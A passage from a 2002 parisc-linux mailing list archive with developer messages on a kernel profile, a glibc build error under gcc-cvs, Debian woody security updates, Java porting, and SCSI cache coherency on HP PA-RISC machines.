>      7 syscall_exit                               0.2500
>      7 sd_find_queue                              0.1250
>      7 prune_dcache                               0.0152
>      7 log_space_left                             0.2188
>      7 journal_get_undo_access                    0.0194
>      7 intr_restore                               0.0155
>      7 handle_interruption                        0.0054
>      7 getname                                    0.0287
>      7 ext3_get_block                             0.0372
>      7 ext3_forget                                0.0233
>      7 block_read_full_page                       0.0091
>      7 add_timer                                  0.0269
>      7 _switch_to_ret                             0.0090
>      6 update_atime                               0.0484
>      6 scsi_init_io_v                             0.0205
>      6 purge_kernel_dcache_page                   0.0600
>      6 generic_commit_write                       0.0417
>      6 fget                                       0.0938
>      6 fcntl_dirnotify                            0.0152
>      6 create_empty_buffers                       0.0375
>      5 syscall_check_bh                           0.3125
>      5 path_release                               0.0595
>      5 page_cache_read                            0.0171
>      5 nr_free_buffer_pages                       0.0694
>      5 iput                                       0.0080
>      5 get_unused_fd                              0.0114
>      5 get_new_inode                              0.0094
>      5 ext3_orphan_del                            0.0071
>      5 ext3_find_goal                             0.0179
>      5 ext3_create                                0.0142
>      5 d_alloc                                    0.0117
>      5 bcopy                                      0.1389
>      5 balance_dirty_state                        0.0347
>      5 _switch_to                                 0.0463
>      5 __user_walk                                0.0379
>      5 __down_read                                0.0305
>      4 sys_utime                                  0.0130
>      4 sys_close                                  0.0244
>      4 pipe_write                                 0.0052
>      4 notify_change                              0.0095
>      4 ncr_queue_command                          0.0013
>      4 journal_try_to_free_buffers                0.0175
>      4 journal_alloc_journal_head                 0.0244
>      4 generic_unplug_device                      0.0588
>      4 filldir64                                  0.0116
>      4 ext3_bread                                 0.0270
>      4 dentry_open                                0.0076
>      4 clear_inode                                0.0172
>      4 cached_lookup                              0.0323
>      4 add_wait_queue                             0.0833
>      4 __wake_up_sync                             0.0132
>      4 __put_unused_buffer_head                   0.0263
>      4 __lru_cache_del                            0.0286
>      4 __free_pte                                 0.0286
>      4 __find_lock_page                           0.1429
>      4 Letext                                     0.0270
>      3 truncate_complete_page                     0.0259
>      3 sys_open                                   0.0107
>      3 sys_fcntl                                  0.0268
>      3 put_filp                                   0.0288
>      3 lookup_hash                                0.0132
>      3 locks_remove_posix                         0.0079
>      3 journal_dirty_sync_data                    0.0214
>      3 grow_buffers                               0.0070
>      3 filemap_nopage                             0.0044
>      3 file_read_actor                            0.0234
>      3 ext3_truncate                              0.0026
>      3 ext3_readdir                               0.0026
>      3 ext3_free_inode                            0.0022
>      3 ext3_file_write                            0.0208
>      3 d_rehash                                   0.0187
>      3 _alloc_pages                               0.0682
>      3 __up_read                                  0.0341
>      3 ___wait_on_page                            0.0150
>      2 write_some_buffers                         0.0060
>      2 vfs_readdir                                0.0064
>      2 try_to_release_page                        0.0139
>      2 sys_newstat                                0.0125
>      2 sys_getdents64                             0.0106
>      2 scsi_add_timer                             0.0119
>      2 refile_buffer                              0.0833
>      2 pipe_wait                                  0.0081
>      2 lookup_create                              0.0109
>      2 locks_remove_flock                         0.0161
>      2 kmem_cache_reap                            0.0034
>      2 intr_do_resched                            0.0556
>      2 inode_setattr                              0.0075
>      2 inode_has_buffers                          0.0455
>      2 inode_change_ok                            0.0042
>      2 init_rwsem                                 0.1000
>      2 in_group_p                                 0.0385
>      2 grow_dev_page                              0.0086
>      2 get_empty_inode                            0.0116
>      2 generic_file_readahead                     0.0048
>      2 generic_file_read                          0.0060
>      2 ext3_unlink                                0.0037
>      2 ext3_orphan_add                            0.0030
>      2 ext3_alloc_block                           0.0500
>      2 end_buffer_io_sync                         0.0192
>      2 do_page_fault                              0.0026
>      2 do_no_page                                 0.0044
>      2 do_journal_get_write_access                0.0147
>      2 dispose_list                               0.0139
>      2 buffer_insert_inode_data_queue             0.0294
>      2 block_prepare_write                        0.0217
>      2 bdget                                      0.0060
>      2 add_wait_queue_exclusive                   0.0417
>      2 __run_task_queue                           0.0143
>      1 zap_page_range                             0.0011
>      1 wait_for_buffers                           0.0038
>      1 vm_enough_memory                           0.0063
>      1 unmap_underlying_metadata                  0.0064
>      1 tty_poll                                   0.0049
>      1 tcp_write_xmit                             0.0013
>      1 syscall_restore_rfi                        0.0357
>      1 syscall_check_sig                          0.0833
>      1 syscall_check_resched                      0.1250
>      1 sys_rt_sigprocmask                         0.0027
>      1 sys_lstat64                                0.0063
>      1 sys_fstat64                                0.0068
>      1 sync_unlocked_inodes                       0.0023
>      1 sync_page_buffers                          0.0029
>      1 swap_out                                   0.0006
>      1 skb_checksum                               0.0017
>      1 sk_run_filter                              0.0004
>      1 shrink_dcache_sb                           0.0021
>      1 set_bh_page                                0.0100
>      1 select_parent                              0.0068
>      1 scsi_malloc                                0.0046
>      1 refill_inactive                            0.0021
>      1 real_lookup                                0.0028
>      1 read_chan                                  0.0005
>      1 rb_erase                                   0.0033
>      1 number                                     0.0009
>      1 lookup_one_len                             0.0086
>      1 load_inode_bitmap                          0.0019
>      1 kswapd_can_sleep_pgdat                     0.0179
>      1 journal_revoke                             0.0021
>      1 journal_get_create_access                  0.0016
>      1 journal_forget                             0.0015
>      1 intr_return                                0.0500
>      1 intr_check_sig                             0.0833
>      1 iget4                                      0.0029
>      1 handle_mm_fault                            0.0037
>      1 get_pid                                    0.0028
>      1 flush_kernel_icache_page                   0.0100
>      1 flush_kernel_dcache_page                   0.0100
>      1 fioneloop                                  0.1250
>      1 find_vma_prev                              0.0119
>      1 find_or_create_page                        0.0030
>      1 find_next_usable_block                     0.0010
>      1 filp_open                                  0.0093
>      1 filp_close                                 0.0068
>      1 filemap_fdatasync                          0.0035
>      1 ext3_setattr                               0.0022
>      1 ext3_free_branches                         0.0014
>      1 ext3_delete_inode                          0.0028
>      1 ext3_block_truncate_page                   0.0010
>      1 ext2_update_inode                          0.0008
>      1 ext2_get_branch                            0.0034
>      1 ext2_get_block                             0.0008
>      1 empty_dir                                  0.0016
>      1 do_select                                  0.0017
>      1 do_munmap                                  0.0014
>      1 do_anonymous_page                          0.0028
>      1 datagram_poll                              0.0034
>      1 cp_new_stat64                              0.0022
>      1 copy_strings                               0.0047
>      1 copy_page_range                            0.0018
>      1 block_truncate_page                        0.0019
>      1 block_commit_write                         0.0179
>      1 balance_dirty                              0.0132
>      1 __wait_on_buffer                           0.0037
>      1 __try_to_free_cp_buf                       0.0100
>      1 __remove_inode_queue                       0.0417
>      1 __journal_remove_checkpoint                0.0066
>      1 __down_write                               0.0064
>      1 $$divI                                     0.0030
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-cvs problem
Date: Thu, 30 May 2002 19:22:59 +0200 (CEST)
Lines: 66
Approved: news@gmane.org
Message-ID: <1022779379.3cf65ff37afdc@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621341 8101 80.91.229.3 (22 Nov 2014 01:55:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 11:23:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C486482A
	for <parisc-linux@parisc-linux.org>; Thu, 30 May 2002 11:23:00 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17DTdb-000700-00
	for <parisc-linux@parisc-linux.org>; Thu, 30 May 2002 19:22:59 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14923

Hi all,

I try to rebuild toolchain on my new b2000 with last binutils-cvs glic-2.2.5
(debian) and last gcc-cvs (aka 3.2?).

The procedure works fine with gcc-cvs dated 20020424 but now it failed on glibc
compile with following message:
/Develop/parisc-linux/parisc-SN32/bin/hppa-linux-gcc
../sysdeps/unix/sysv/linux/init-first.c -c -O2 -Wall -Winline
-Wstrict-prototypes -Wwrite-strings -g      -I../include -I.
-I/Develop/parisc-linux/build/glibc/csu -I.. -I../libio 
-I/Develop/parisc-linux/build/glibc -I../sysdeps/hppa/elf
-I../linuxthreads/sysdeps/unix/sysv/linux/hppa
-I../linuxthreads/sysdeps/unix/sysv/linux -I../linuxthreads/sysdeps/pthread
-I../sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv
-I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa
-I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu
-I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet
-I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix
-I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32
-I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu
-I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysdeps/generic/elf
-I../sysdeps/generic  -nostdinc -isystem
/Develop/parisc-linux/parisc-SN32/lib/gcc-lib/hppa-linux/3.2/include -isystem
/Develop/parisc-linux/src/linux/include -D_LIBC_REENTRANT -include
../include/libc-symbols.h     -DHAVE_INITFINI -o
/Develop/parisc-linux/build/glibc/csu/init-first.o
In file included from ../include/pthread.h:1,
                 from ../linuxthreads/sysdeps/pthread/bits/libc-lock.h:23,
                 from ../sysdeps/generic/ldsodefs.h:34,
                 from ../sysdeps/unix/sysv/linux/ldsodefs.h:25,
                 from ../sysdeps/unix/sysv/linux/init-first.c:32:
../linuxthreads/sysdeps/pthread/pthread.h:163: parse error before "__thread"
../linuxthreads/sysdeps/pthread/pthread.h:165: `pthread_create' declared as
function returning a function
../linuxthreads/sysdeps/pthread/pthread.h:165: warning: function declaration
isn't a prototype
../linuxthreads/sysdeps/pthread/pthread.h:166: parse error before "void"
../linuxthreads/sysdeps/pthread/pthread.h:591: storage class specified for
parameter `type name'
In file included from ../linuxthreads/sysdeps/pthread/pthread.h:655,
                 from ../include/pthread.h:1,
                 from ../linuxthreads/sysdeps/pthread/bits/libc-lock.h:23,
                 from ../sysdeps/generic/ldsodefs.h:34,
                 from ../sysdeps/unix/sysv/linux/ldsodefs.h:25,
                 from ../sysdeps/unix/sysv/linux/init-first.c:32:
../linuxthreads/sysdeps/unix/sysv/linux/bits/sigthread.h:36: storage class
specified for parameter `type name'
make[2]: *** [/Develop/parisc-linux/build/glibc/csu/init-first.o] Error 1
make[2]: Leaving directory `/Develop/parisc-linux/src/glibc/csu'
make[1]: *** [csu/subdir_lib] Error 2
make[1]: Leaving directory `/Develop/parisc-linux/src/glibc'
make: *** [all] Error 2

### Thu May 30 19:04:35 2002 ###

Any idea?

Joel

ps: glibc tree was prepare in accordance with Carlos howto.

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Thu, 30 May 2002 13:51:47 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200205301751.g4UHpl5f003168@hiauly1.hia.nrc.ca>
References: <1022779379.3cf65ff37afdc@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621341 8106 80.91.229.3 (22 Nov 2014 01:55:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:41 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 11:51:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63F16482C
	for <parisc-linux@parisc-linux.org>; Thu, 30 May 2002 11:51:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g4UHpmFN003169
	for <parisc-linux@parisc-linux.org>; Thu, 30 May 2002 13:51:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g4UHpl5f003168;
	Thu, 30 May 2002 13:51:47 -0400 (EDT)
In-Reply-To: <1022779379.3cf65ff37afdc@webmail.tiscalinet.be> from "joel.soete@freebel.net" at May 30, 2002 07:22:59 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14924

> In file included from ../include/pthread.h:1,
>                  from ../linuxthreads/sysdeps/pthread/bits/libc-lock.h:23,
>                  from ../sysdeps/generic/ldsodefs.h:34,
>                  from ../sysdeps/unix/sysv/linux/ldsodefs.h:25,
>                  from ../sysdeps/unix/sysv/linux/init-first.c:32:
> ../linuxthreads/sysdeps/pthread/pthread.h:163: parse error before "__thread"

See <http://gcc.gnu.org/ml/gcc-patches/2002-05/msg01780.html> for fix.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Thu, 30 May 2002 14:52:06 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20020530205206.748C7482B@dsl2.external.hp.com>
References: <200205300023.AA908198370@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621342 8108 80.91.229.3 (22 Nov 2014 01:55:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc@centraltx.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 14:52:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 748C7482B; Thu, 30 May 2002 14:52:06 -0600 (MDT)
In-Reply-To: Message from "marc " <marc@centraltx.com> 
   of "Thu, 30 May 2002 00:23:49 CDT." <200205300023.AA908198370@mail.centraltx.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14925

"marc " wrote:
> I got ssh up and running. Also, why does it bomb when I uncomment the line in
>    my sources.list that has to do with the security updates??

Any other takers?
I have no clue.
Can you post output to debian-hppa list?
I expect someone there will know.

> I have network connectivity now, and heres what I get for the
> java possibilities:

Phil Pinkerton had complained about this earlier.
He couldn't even get the code from Sun to compile.
Maybe you want to look up his email in the parisc-linux
mail archives and ask him.

hth,
grant



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Thu, 30 May 2002 21:55:06 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020530215506.A10366@parcelfarce.linux.theplanet.co.uk>
References: <200205300023.AA908198370@mail.centraltx.com> <marc@centraltx.com> <20020530205206.748C7482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621342 8112 80.91.229.3 (22 Nov 2014 01:55:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:42 +0000 (UTC)
Cc: marc@centraltx.com, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 14:55:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3421483F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 14:55:08 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17DWws-0006G9-00; Thu, 30 May 2002 21:55:06 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020530205206.748C7482B@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, May 30, 2002 at 02:52:06PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14926

On Thu, May 30, 2002 at 02:52:06PM -0600, Grant Grundler wrote:
> Any other takers?
> I have no clue.
> Can you post output to debian-hppa list?
> I expect someone there will know.

because security updates are only available for stable.  since woody is
not yet released, there are no security updates for woody.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Thu, 30 May 2002 17:01:45 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200205302101.g4UL1k8l003364@hiauly1.hia.nrc.ca>
References: <20020530205206.748C7482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621342 8113 80.91.229.3 (22 Nov 2014 01:55:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:42 +0000 (UTC)
Cc: marc@centraltx.com, parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 15:01:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0895F4843
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 15:01:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g4UL1kFN003366;
	Thu, 30 May 2002 17:01:47 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g4UL1k8l003364;
	Thu, 30 May 2002 17:01:46 -0400 (EDT)
In-Reply-To: <20020530205206.748C7482B@dsl2.external.hp.com> from "Grant Grundler" at May 30, 2002 02:52:06 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14927

> > I have network connectivity now, and heres what I get for the
> > java possibilities:
> 
> Phil Pinkerton had complained about this earlier.
> He couldn't even get the code from Sun to compile.

gcj builds without problem on all parisc configurations.  However,
nobody has done the work to port the java libraries.  I imagine
that getting the libraries to build under hppa-linux should be
pretty straight forward.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fast-Wide Diff. SCSI on a 735
Date: Thu, 30 May 2002 15:09:37 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020530210937.0FD4B482C@dsl2.external.hp.com>
References: <200205291104.AA315359834@mail.centraltx.com> <20020529201334.8C23C482A@dsl2.external.hp.com> <1022707216.3cf54610c5ee8@nyepost.start.no> <20020530081452.GS3471@sleepie.demon.co.uk>  <1022748512.3cf5e760c85db@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621343 8115 80.91.229.3 (22 Nov 2014 01:55:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 15:09:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0FD4B482C; Thu, 30 May 2002 15:09:37 -0600 (MDT)
In-Reply-To: Message from Andy Walker <squawker@start.no> 
   of "Thu, 30 May 2002 10:48:32 +0200." <1022748512.3cf5e760c85db@nyepost.start.no> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14928

Andy Walker wrote:
> If you remember Richard, I was having all sorts of trouble with a Bluefish
> card in a 725/100 a while back. Think I got the same results in a C110 too.

That certainly wasn't because of cache coherency support.
725/100 is not cache coherent. C110 is.

grant



From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Thu, 30 May 2002 22:11:26 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20020530221126.B10366@parcelfarce.linux.theplanet.co.uk>
References: <20020530205206.748C7482B@dsl2.external.hp.com> <200205302101.g4UL1k8l003364@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621343 8120 80.91.229.3 (22 Nov 2014 01:55:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:43 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	marc@centraltx.com, parisc-linux@lists.parisc-linux.org,
	Matthias Klose <doko@cs.tu-berlin.de>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 15:11:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0F9B4848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 15:11:27 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17DXCg-0006YM-00; Thu, 30 May 2002 22:11:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200205302101.g4UL1k8l003364@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Thu, May 30, 2002 at 05:01:45PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
